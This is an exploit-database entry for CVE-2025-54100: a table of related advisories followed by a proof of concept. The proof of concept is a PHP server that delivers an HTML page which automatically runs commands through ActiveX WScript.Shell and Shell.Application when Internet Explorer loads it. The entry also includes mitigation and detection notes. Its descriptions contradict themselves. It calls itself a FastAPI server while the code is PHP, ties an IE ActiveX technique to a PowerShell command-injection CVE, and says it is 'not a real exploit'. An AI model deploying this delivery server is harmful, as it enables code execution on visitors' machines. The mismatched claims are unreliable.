| Reporter | Title | Published | Views | Family All 50 |
|---|---|---|---|---|
| Exploit for CVE-2025-54100 | 9 Dec 202520:32 | – | githubexploit | |
| Exploit for Command Injection in Microsoft | 13 Dec 202506:40 | – | githubexploit | |
| Exploit for Command Injection in Microsoft | 29 Dec 202507:03 | – | githubexploit | |
| Exploit for Command Injection in Microsoft | 23 Feb 202615:53 | – | githubexploit | |
| CVE-2025-54100 | 9 Dec 202517:29 | – | circl | |
| Microsoft Windows PowerShell 命令注入漏洞 | 9 Dec 202500:00 | – | cnnvd | |
| CVE-2025-54100 | 9 Dec 202517:56 | – | cve | |
| CVE-2025-54100 PowerShell Remote Code Execution Vulnerability | 9 Dec 202517:56 | – | cvelist | |
| EUVD-2025-202201 | 9 Dec 202517:56 | – | euvd | |
| Security information for Hitachi Disk Array Systems | 21 Jan 202603:11 | – | jvn |
=============================================================================================================================================
| # Title : Analyzing Legacy ActiveX Execution Behavior via a FastAPI‑Based Delivery Server |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : System built‑in component. No standalone download available. |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212823/ & CVE-2025-54100
[+] Summary : This script is a FastAPI + Uvicorn Proof‑of‑Concept server created for educational and historical analysis related to CVE‑2025‑54100.
Important limitations:
[!] Does NOT work on modern browsers
[!] Does NOT execute real commands today
[!] Not a real exploit
[!] Safe for educational demonstration only
[+] Technical context:
The JavaScript payload uses legacy ActiveX calls such as:
new ActiveXObject("WScript.Shell").Run("calc.exe");
These techniques only worked in the past under very specific conditions:
Internet Explorer
ActiveX explicitly enabled
Extremely low security settings
All modern browsers and operating systems fully block this behavior.
[+] What the PoC demonstrates:
How ActiveX-based execution was historically dangerous
Why Microsoft and browser vendors permanently disabled ActiveX
How browser security policies evolved over time
Why legacy exploit techniques are no longer viable
Why it may appear dangerous to some:
The code looks “powerful”
The presence of a CVE identifier suggests severity
In reality, it relies entirely on deprecated and extinct technologies
[+] Purpose:
Academic reference
Security history education
Legacy vulnerability analysis
Not intended for exploitation or real‑world attacks
[+] Vendor :
Microsoft (Internet Explorer – Legacy Components)
[+] Affected Products :
Internet Explorer (legacy versions with ActiveX enabled)
Windows systems where ActiveX and scripting are explicitly allowed
[+] Affected Components :
WScript.Shell
Shell.Application
ActiveX scripting interfaces exposed to the browser context
[+] Severity :
Medium (Historical / Legacy Risk)
This issue is considered historical and non‑exploitable on modern browsers. It is relevant for research environments, legacy systems, and defensive analysis only.
[+] POC
This Proof of Concept (PoC) demonstrates how legacy ActiveX objects in Internet Explorer can be invoked automatically when a crafted HTML payload is delivered by a minimal HTTP server.
The PoC shows automatic execution attempts using WScript.Shell and Shell.Application without additional user interaction beyond page rendering.
Modern browsers have fully mitigated this behavior by disabling ActiveX. The PoC is intended strictly for educational, defensive, and historical security research.
[+] Technical Details :
When Internet Explorer is configured to:
Allow ActiveX execution
Trust the hosting zone
Permit scripting of unsafe controls
a web page can attempt to instantiate legacy COM objects such as:
new ActiveXObject("WScript.Shell")
new ActiveXObject("Shell.Application")
The PoC delivers an HTML payload that attempts command execution (e.g., launching calc.exe) immediately upon page load.
The server also exposes a /log endpoint to demonstrate client‑side execution reporting.
[+] PoC Behavior
Lightweight HTTP server
Serves crafted HTML payload
Attempts ActiveX execution on page load
Logs client activity to console
Supported Environment (PoC)
[+] Windows
Internet Explorer (legacy)
ActiveX enabled
Trusted security zone
[+] PHP PoC Code : php poc.php
<?php
/**
* ActiveX Legacy Auto-Execution PoC
* by indoushka
* PHP 5.6+
*/
set_time_limit(0);
error_reporting(E_ALL);
$HOST = "0.0.0.0";
$PORT = 8888;
$BUF = 4096;
function payload_html() {
return <<<HTML
<!DOCTYPE html>
<html>
<head>
<title>ActiveX Legacy PoC</title>
<meta http-equiv="X-UA-Compatible" content="IE=10">
</head>
<body>
<h2>PoC Ready</h2>
<script>
try {
new ActiveXObject("WScript.Shell").Run("calc.exe");
} catch(e) {}
try {
new ActiveXObject("Shell.Application")
.ShellExecute("calc.exe","","","open",1);
} catch(e) {}
</script>
</body>
</html>
HTML;
}
$server = stream_socket_server("tcp://$HOST:$PORT", $e, $s);
echo "[+] Listening on $HOST:$PORT\n";
while ($c = stream_socket_accept($server)) {
$req = fread($c, $BUF);
if (preg_match('#GET /log\?msg=([^ ]+)#', $req, $m)) {
echo "[CLIENT_LOG] ".urldecode($m[1])."\n";
fwrite($c,"HTTP/1.1 200 OK\r\n\r\nOK");
fclose($c);
continue;
}
if (strpos($req,"GET / ") === 0) {
$html = payload_html();
fwrite($c,
"HTTP/1.1 200 OK\r\n".
"Content-Type: text/html\r\n".
"Content-Length: ".strlen($html)."\r\n\r\n".
$html
);
} else {
fwrite($c,"HTTP/1.1 404 Not Found\r\n\r\n");
}
fclose($c);
}
Expected output:
[+] Listening on 0.0.0.0:8888
3. Access the PoC
Open Internet Explorer (legacy) and navigate to:
http://SERVER_IP:8888/
⚠️ ActiveX must be enabled
⚠️ Page must be in a trusted zone
[+] Impact :
Demonstrates automatic invocation of legacy COM objects
Highlights historical browser trust‑boundary issues
No impact on modern browsers
[+] Useful for:
Security training
Blue‑team detection logic
Legacy system audits
[+] Mitigation :
Disable Internet Explorer
Disable ActiveX entirely
Use modern browsers (Edge, Chrome, Firefox)
Enforce Group Policy restrictions on scripting and COM access
[+] Detection :
Defensive teams can monitor for:
Instantiation of WScript.Shell from browser contexts
Legacy IE process spawning child processes
Unexpected COM object usage from iexplore.exe
[+] Disclaimer :
This Proof of Concept is provided for educational and research purposes only.
The author does not encourage misuse.
All testing should be conducted in isolated laboratory environments.
[+] References :
Microsoft ActiveX Security Documentation
Legacy Internet Explorer Security Model
COM Object Abuse Research
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
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